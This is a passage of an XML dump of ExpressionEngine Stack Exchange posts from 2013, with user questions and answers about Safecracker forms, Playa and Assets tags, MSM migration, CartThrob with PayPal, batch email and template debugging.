class=&quot;text&quot; name=&quot;choice_number_5&quot;/&amp;gt;&#xA;  &amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 5 description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_5_description&quot;/&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 5 image&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;&quot; name=&quot;choice_5_image&quot;/&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!--====Choice six code--&amp;gt;&#xA;&amp;lt;fieldset class=&quot;five columns omega aside&quot;&amp;gt;&#xA;  &amp;lt;h5&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Choice number 6&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_number_6&quot;/&amp;gt;&#xA;  &amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 6 description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_6_description&quot;/&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 6 image&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;&quot; name=&quot;choice_6_image&quot;/&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!--===============Choice seven code--&amp;gt;&#xA;&amp;lt;fieldset class=&quot;five columns alpha aside&quot;&amp;gt;&#xA;&#xA;&amp;lt;h5&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Choice number 7&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_number_7&quot;/&amp;gt;&#xA;  &amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 7 description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_7_description&quot;/&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 7 image&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;&quot; name=&quot;choice_7_image&quot;/&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!--====Choice eight code--&amp;gt;&#xA;&amp;lt;fieldset class=&quot;five columns omega aside&quot;&amp;gt;&#xA;  &amp;lt;h5&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Choice number 8&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_number_8&quot;/&amp;gt;&#xA;  &amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 8 description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_8_description&quot;/&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Have an image for Choice 8 image?&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;&quot; name=&quot;choice_8_image&quot;/&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;  &#xA;&amp;lt;!==============End the fieldsets here for the 8 choices--&amp;gt;&#xA;&amp;lt;br class=&quot;clearfix&quot; /&amp;gt;&#xA;            &amp;lt;hr /&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;  &amp;lt;input type=&quot;submit&quot; class=&quot;button yellow&quot; value=&quot;Submit your choices now!&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;br class=&quot;clear&quot; /&amp;gt;&#xA;   &amp;lt;h2 class=&quot;feature&quot;&amp;gt;&#xA;    Your entries will be reviewed by either Luke or Scott and will then be published. Please keep the conversation clean. Crunch away me hardies!&#xA;  &amp;lt;/h2&amp;gt;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your help in this is much appreciated. &lt;/p&gt;&#xA;" OwnerUserId="1416" LastActivityDate="2013-05-31T18:32:09.637" Title="Safecracker frontend uploaded images not uploading to specified directory and not showing in backend entries" Tags="|safecracker-file|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9943" PostTypeId="2" ParentId="2028" CreationDate="2013-05-01T14:58:56.287" Score="0" Body="&lt;p&gt;I was able to fix this by removing &quot;chrome=1&quot; from the http-equiv meta tag. What I think was happening was for whatever reason, the homepage would load initially with just the &quot;IE=Edge&quot; property and then when they logged in, Chrome Frame would kick in, changing the user-agent and breaking the session.  No clue if/why that is even possible, but it's a theory! :-)&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2013-05-01T14:58:56.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9944" PostTypeId="2" ParentId="9938" CreationDate="2013-05-01T15:22:55.100" Score="0" Body="&lt;p&gt;Come to find out, I didn't actually need the opening channel entries loop, I was able to do it with all Playa tags.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children url_title=&quot;{segment_4}&quot; limit=&quot;1&quot; var_prefix=&quot;accessories&quot;}&#xA;    {exp:playa:parents channel=&quot;products&quot; url_title=&quot;{segment_3}&quot; var_prefix=&quot;products&quot;}&#xA;&#xA;        {products:title} - {accessories:accessory_description}&#xA;&#xA;    {/exp:playa:parents}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks @Ian.&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-05-01T15:22:55.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9945" PostTypeId="1" CreationDate="2013-05-01T16:27:36.693" Score="2" ViewCount="278" Body="&lt;p&gt;Is there any reason this conditional wouldn't work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{standard_page_events var_prefix=&quot;cat&quot;}&#xA;    {cat:event_category_description}&#xA;    {exp:playa:coparents var_prefix=&quot;event&quot; channel=&quot;events&quot; child_id=&quot;{cat:entry_id}&quot;}&#xA;        {if {event:count} == 1}&amp;lt;div class=&quot;banded&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;hr&amp;gt;{/if}&#xA;    {/exp:playa:coparents}&#xA;{/standard_page_events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastActivityDate="2014-05-14T04:25:54.833" Title="Conditional on Playa field with var_prefix" Tags="|playa|pixelandtonic|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9947" PostTypeId="1" CreationDate="2013-05-01T16:48:01.053" Score="1" ViewCount="159" Body="&lt;p&gt;EE version: 2.5.2 &#xA;Assets version: 2.1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the {exp:assets:folders} tag with the parent_folder parameter set and it's not working when that parameter is set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an MSM site and I'm working on the 2nd site. I can see everything just fine within the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've setup a dedicated page to test this out so that there aren't conflicts with other add-ons.  Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:assets:folders parent_folder=&quot;{filedir_7}human-resources&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{path=assets/view/{folder_id}}&quot;&amp;gt;{folder_name}&amp;lt;/a&amp;gt;&#xA;        {if total_subfolders}&#xA;            &amp;lt;ul&amp;gt;&#xA;                {subfolders}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        {/if}&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:assets:folders}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code does work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:assets:folders}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{path=assets/view/{folder_id}}&quot;&amp;gt;{folder_name}&amp;lt;/a&amp;gt;&#xA;        {if total_subfolders}&#xA;            &amp;lt;ul&amp;gt;&#xA;                {subfolders}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        {/if}&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:assets:folders}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's strange is that using the parent_folder parameter worked at one time. I've looked back at my check-ins and don't see anything that would conflict with the Assets code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried some debugging by looking at the _get_folder_id_by_tagpath function in mod.assets.php. I noticed that $tagpath is passed in as &lt;code&gt;http://intranet.compassoncology.com/uploads/human-resources&lt;/code&gt; instead of &lt;code&gt;{filedir_7}human-resources&lt;/code&gt;. The code appears to be expecting the latter. Is there something that could have happened to cause &lt;code&gt;{filedir_7}&lt;/code&gt; to be replaced?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help or direction!&lt;/p&gt;&#xA;" OwnerUserId="1417" LastEditorUserId="1417" LastEditDate="2013-05-01T16:54:32.187" LastActivityDate="2013-05-31T21:32:09.590" Title="{exp:assets:folders} not working with parent_folder parameter set" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9948" PostTypeId="1" CreationDate="2013-05-01T16:53:45.250" Score="2" ViewCount="213" Body="&lt;p&gt;I have inherited a client project that involves a number of EE installs (6 in all, though some are MSMs themselves, so total number of sites is ~10) which I would like to merge into a single MSM install. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of these installs is EE1, the rest are various versions of EE2. All use Matrix, Playa and Assets. The EE1 site could be migrated to EE2 though (the DB at least).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to work out the best way of  migrating the data (as far as I am aware there is no first party tool to import an existing site into an MSM install).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment our approach is an increasing complex custom script that maps data from the columns of the old DB to the (manually created in the case of exp_channel_titles/exp_channel_data) columns in the new db. I'm concerned that this is actually such a complex task that we're going to miss something in the process though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have accomplished this task in the past, how did you go about it? What approach/tools did you use etc.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2013-05-01T21:13:23.093" Title="How to migrate an existing site into an MSM install?" Tags="|multi-site-manager|database|migration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9949" PostTypeId="2" ParentId="9945" CreationDate="2013-05-01T16:54:11.767" Score="0" Body="&lt;p&gt;You may need to wrap it in quotes. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{event:count}' == '1'}&amp;lt;div class=&quot;banded&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;hr&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-01T16:54:11.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9950" PostTypeId="1" AcceptedAnswerId="9983" CreationDate="2013-05-01T17:00:04.397" Score="0" ViewCount="99" Body="&lt;p&gt;Using CartThrob and PayPal Express, is it possible to save the PayPal email address that is used when an order is placed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment, I'm only saving the first name, last name, and email address that is entered on the checkout page of the website, but this email address may be different to the PayPal email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only info that is currently being returned from PayPal is the transaction ID and error message, so just wondering if and how we can save the PayPal email address too, thanks.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-05-02T11:34:04.433" Title="Saving PayPal email address in CartThrob" Tags="|cartthrob|paypal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9951" PostTypeId="1" CreationDate="2013-05-01T17:03:51.957" Score="1" ViewCount="97" Body="&lt;p&gt;I'm using Profile:Edit 1.0.9 with EE 2.5.5, and finding that the Screen Name is sometimes coming out of sync with the First Name and Last Name custom fields in the profile entry (when a user edits their profile).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to keep the Screen Name in sync should the first and last name be amended? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2014-05-05T12:38:22.680" Title="How to keep Screen Name in sync with Profile channel fields using Profile:Edit" Tags="|channel-entries|profile-edit|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9952" PostTypeId="1" AcceptedAnswerId="9956" CreationDate="2013-05-01T17:07:14.420" Score="1" ViewCount="152" Body="&lt;p&gt;We are using EE's built-in communication tool to send out an initial email to all of the site's members letting them know about the new site design and functionality updates. I would like to batch process these 6000 emails. I have &quot;Use Batch Mode&quot; set to yes, and the number of emails per batch is set to 300.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what the default interval time is for batch emails in EE and whether or not it is customizable? I haven't been able to find it anywhere in the documentation. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I tried to push a service such as MailChimp in lieu of the built-in communicate tool, but that's not an option for us at this point in time.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2013-05-01T18:08:14.593" Title="What is the default interval time for batch emails?" Tags="|email|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9953" PostTypeId="2" ParentId="9867" CreationDate="2013-05-01T17:14:37.230" Score="1" Body="&lt;p&gt;This turned out to be a stray line return character that was somehow added to a Title field in Exp Eng. The line return was breaking the Wygwam javascript that sets up the editor items. Editing the title of the offending channel entry to remove the line return solved the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I finally noticed it? In firefox I copied the line in the web page where the error occurred and pasted that into a text editor. Since everything should have been on a single line of code the second line showed up where the offending title was.&lt;/p&gt;&#xA;" OwnerUserId="505" LastActivityDate="2013-05-01T17:14:37.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9954" PostTypeId="1" CreationDate="2013-05-01T17:16:18.203" Score="1" ViewCount="153" Body="&lt;p&gt;I found this &lt;a href=&quot;https://i.stack.imgur.com/9Q5R3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;question and answer&lt;/a&gt; that has helped me to get where I currently am. My setup is very very similar to the setup discussed in this thread. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HUGE UPDATE / EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I deleted pretty much my entire first post just to let everyone know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have a fresh install of EE and the modules below, and am working locally on MAMP.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE - 2.6 ( had no install issues!) &lt;/li&gt;&#xA;&lt;li&gt;Matrix - 2.5.4 &lt;/li&gt;&#xA;&lt;li&gt;Assets - 2.1.2&lt;/li&gt;&#xA;&lt;li&gt;Playa - 4.4.2 &lt;/li&gt;&#xA;&lt;li&gt;Wygwam - 2.7.1&lt;/li&gt;&#xA;&lt;li&gt;Better Work Flow - 1.6 (not being used to manage these pages yet)&lt;/li&gt;&#xA;&lt;li&gt;MAMP PHP - 5.3.6&lt;/li&gt;&#xA;&lt;li&gt;MySQL: 5.5.9&#xA;Please note that I do not have Structure installed this time around. I also removed the Structure Tag related to this issue.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have simplified my template as much as I could which is below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/_html_header&quot;} &amp;lt;!-- includes opening body tag --&amp;gt;&#xA;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;schedule&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;        &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;        {schedule_rooms_day_1}&#xA;            {cell_1} - {cell_2} - {cell_3}&#xA;        {/schedule_rooms_day_1}&#xA;        &amp;lt;br/&amp;gt;&#xA;        &amp;lt;br/&amp;gt;&#xA;        {schedule_day_1}&#xA;            {cell_1}&#xA;                Session Name = {session_name}&amp;lt;br/&amp;gt;&#xA;                Session Speaker Child ID - {session_speaker:child_ids} (these are pulling in correct IDs, yippie!) &amp;lt;br/&amp;gt;&#xA;                Need to embed information below here about speaker of session&amp;lt;br/&amp;gt;&#xA;                {embed=&quot;includes/_speakers_import&quot; entry_ids=&quot;{session_speaker:child_ids}&quot;}&amp;lt;br/&amp;gt;&#xA;                &amp;lt;hr&amp;gt;&#xA;            {/cell_1}&#xA;        {/schedule_day_1}&#xA;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{embed=&quot;includes/_js&quot;}&#xA;{embed=&quot;includes/_close_page&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &quot;{session_speaker:child_ids}&quot; to help show me which entries should be pulled in. This is pulling in the correct information, same with my embed variable below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my embed template. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;sessions&quot; dynamic=&quot;no&quot; fixed_order=&quot;{embed:entry_ids}&quot;}&#xA;{session_speaker}&#xA;    Embed value from embed - {embed:entry_ids} (these are still displaying correct info) &amp;lt;br/&amp;gt;&#xA;    Speaker Name - {speaker_name}&amp;lt;br/&amp;gt;&#xA;{/session_speaker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note my issue still remains the same as before, if I include the fixed_order param no information shows up. If I try to do something like fixed_order=&quot;2|3|6|4&quot; nothing is displayed. Same with entry_id.&#xA;If I remove fixed_order all my speakers show up, and my embed variable displays the correct entry id, which is a good thing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On an other site I was trying to pull an embed variable into a param and was not able to get my information to display properly. I am wondering if there is a setting I have not turned on that might be effecting my templates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With my clean install there were a few issues that showed up in my developers log which can be seen in the &lt;a href=&quot;http://johnhoysa.com/images/Developer_Log.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;linked image&lt;/a&gt;. Please note there is an error with Structure and Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Lisa I hope that my updated information is more helpful, as well as the developers log!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Travis, I appreciate the help and with the removal of Structure from the mix feel free to move forward and help others with Structure related issues! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, I appreciate the help and hopefully we can figure this out together! &lt;/p&gt;&#xA;" OwnerUserId="1418" LastEditorUserId="1418" LastEditDate="2013-05-03T20:51:51.167" LastActivityDate="2013-06-02T21:32:54.520" Title="Fixed_order makes entry not display" Tags="|matrix|playa|" AnswerCount="1" CommentCount="20" ContentLicense="CC BY-SA 3.0" />
  <row Id="9955" PostTypeId="2" ParentId="9954" CreationDate="2013-05-01T17:50:49.843" Score="1" Body="&lt;p&gt;I don't see where this fixed_order parameter is. Does it work if it's not in an embed and straight in the page?&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-05-01T17:50:49.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9956" PostTypeId="2" ParentId="9952" CreationDate="2013-05-01T18:08:14.593" Score="1" Body="&lt;p&gt;In short it isn't configurable via EE as far as I know. It will automatically handled depending on latency between your server and SendGrid but SendGrid will have very high send rates as they're a dedicated SMTP provider. They don't seem to specify the rate limits but they do make mention of the factors that will impact delivery rates:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A local mail server, such as Postfix, is the most robust way to send&#xA;  email through SendGrid when configured to queue all email from your&#xA;  application and then relay the messages through SendGrid as a smart&#xA;  host. This has the least latency from your application’s perspective&#xA;  with the added benefit of handing your email off to a fault tolerant&#xA;  server. If internet connectivity between your servers and ours drops,&#xA;  a local mail server gracefully handles queuing and resending the&#xA;  email, as opposed to building that intelligence into your sending&#xA;  application.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Local mail servers also have advantages at high volume as they can use&#xA;  some of the more complex parts of the SMTP protocol, such as&#xA;  connection reuse and pipelining. With these techniques a mail server&#xA;  sends significantly more traffic in a given time than if you have&#xA;  individual scripts connecting for each message.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-01T18:08:14.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9957" PostTypeId="2" ParentId="9942" CreationDate="2013-05-01T18:11:19.343" Score="1" Body="&lt;p&gt;Instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;Choice 1 image&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;file&quot; class=&quot;&quot; name=&quot;choice_1_image&quot; value=&quot;{choice_1_image}&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;Choice 1 image&amp;lt;/label&amp;gt;&#xA;{field:choice_1_image}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think you also need to add &lt;code&gt;safecracker_head=&quot;yes&quot;&lt;/code&gt; to get the image thumbnails to work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is jQuery in &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tags?&lt;/p&gt;&#xA;" OwnerUserId="317" LastActivityDate="2013-05-01T18:11:19.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9958" PostTypeId="2" ParentId="9945" CreationDate="2013-05-01T18:32:21.420" Score="3" Body="&lt;p&gt;Brandon's solution worked great! Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{event:if count == 1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastActivityDate="2013-05-01T18:32:21.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9959" PostTypeId="1" CreationDate="2013-05-01T19:17:52.437" Score="3" ViewCount="362" Body="&lt;p&gt;In Expresso Store, I want to show all modifiers for a certain product instead of putting them in a dropdown. I saw &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5708/in-expresso-store-how-do-i-use-my-own-buttons-for-modifiers-in-place-of-select&quot;&gt;this post&lt;/a&gt; which shows how to transform it into radio buttons, but it is not exactly what I need. I would like to have a quantity box next to each modifier option. The client should select an option first and then have to fill in a quantity, but he should be able to just enter a quentity next to the option of his choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this?&lt;/p&gt;&#xA;" OwnerUserId="513" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2016-03-29T10:03:17.923" Title="Show modifiers with their own qty field in Expresso Store" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9960" PostTypeId="1" AcceptedAnswerId="9965" CreationDate="2013-05-01T19:40:58.090" Score="2" ViewCount="148" Body="&lt;p&gt;Hi we're using channel ratings module, and want to run a routine that basically closes a comment if its rank is 1 at 30 days of age, rank 2 at 60 days etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The {comment_date} is yeilding a 0 whenever any method or php function is attempted on it. I have everything working except this piece and I can't figure out what the problem is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;    function GetComment_Interval($comment_date,$current_date)&#xA;{&#xA;&#xA;      $intervalSeconds = $current_date - $comment_date;&#xA;       $intervalDays = round($intervalSeconds / 86400); // days since&#xA;       return $intervalDays;&#xA;}&#xA;&#xA;&#xA;{exp:switchee variable=&quot;{rating:overall:rating}&quot; parse=&quot;inward&quot;}&#xA;            // 1 star reviews&quot; expire in 30 days,&#xA;            {case value=&quot;1&quot;}&#xA;              EE-&gt;localize-&gt;string_to_timestamp($commD); // this throws error of 'invalid date format'&#xA;              $currD = $this-&gt;EE-&gt;localize-&gt;now;&#xA;              $interval = GetComment_Interval($commD2,$currD); // find days between&#xA;              echo $interval.&quot; days&quot;;&#xA;               if ($interval &gt;= 30){&#xA;&#xA;               ?&gt;&#xA;&#xA;&#xA;&#xA;              &#xA;&#xA;            {/case}&#xA;            // 2 star reviews after 60 days&#xA;            {case value=&quot;2&quot; default=&quot;Yes&quot;}&#xA;&#xA;               if ($interval &gt;= 60){&#xA;&#xA;               ?&gt;&#xA;&#xA;&#xA;&#xA;              &#xA;            {/case}&#xA;            // 3 star reviews after 120 days&#xA;            {case value=&quot;3&quot;}&#xA;&#xA;               if ($interval &gt;= 120){&#xA;&#xA;               ?&gt;&#xA;&#xA;&#xA;              &#xA;            {/case}&#xA;           //It must be 4 or 5 start therefore always show it.&#xA;           {case default=&quot;Yes&quot;}{/case}&#xA;&#xA;        {/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-05-03T20:10:26.220" Title="Problem converting {comment_date} from string to var" Tags="|comments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9961" PostTypeId="1" AcceptedAnswerId="10030" CreationDate="2013-05-01T20:10:36.310" Score="1" ViewCount="247" Body="&lt;p&gt;I have multiple channels that I'd like to include, and it would be more convenient to use a wildcard search than piped list. Is there an easy way to do this? Currently I'm thinking of defining a global variable and doing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;{gbl_channels}&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where gbl_channels is my piped list since I'll be making this reference in multiple files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good way? Any better ways? Thanks for any tips.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2013-05-03T11:07:14.017" Title="Can I do {exp:channel:entries channel=&quot;*wildcardsearch*&quot;}?" Tags="|ee2|channel|entries|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9962" PostTypeId="2" ParentId="9961" CreationDate="2013-05-01T21:03:44.787" Score="1" Body="&lt;p&gt;What are you trying to do with this? Have different templates that have the same code, but are different channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure exactly what you need here, but you can specify multiple channels in your channel entries loop by using a pipe | like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;channel_1|channel_2&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that what ou need? If you have the same code on multiple templates, you could use the URL structure to help you. Create a template group, say, cars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our URL will then read &lt;a href=&quot;http://domain.com/cars&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/cars&lt;/a&gt; when you visit this template group. Then you could use this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;{segment_1&quot;} - with your channel called cars and your template group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-05-01T21:03:44.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
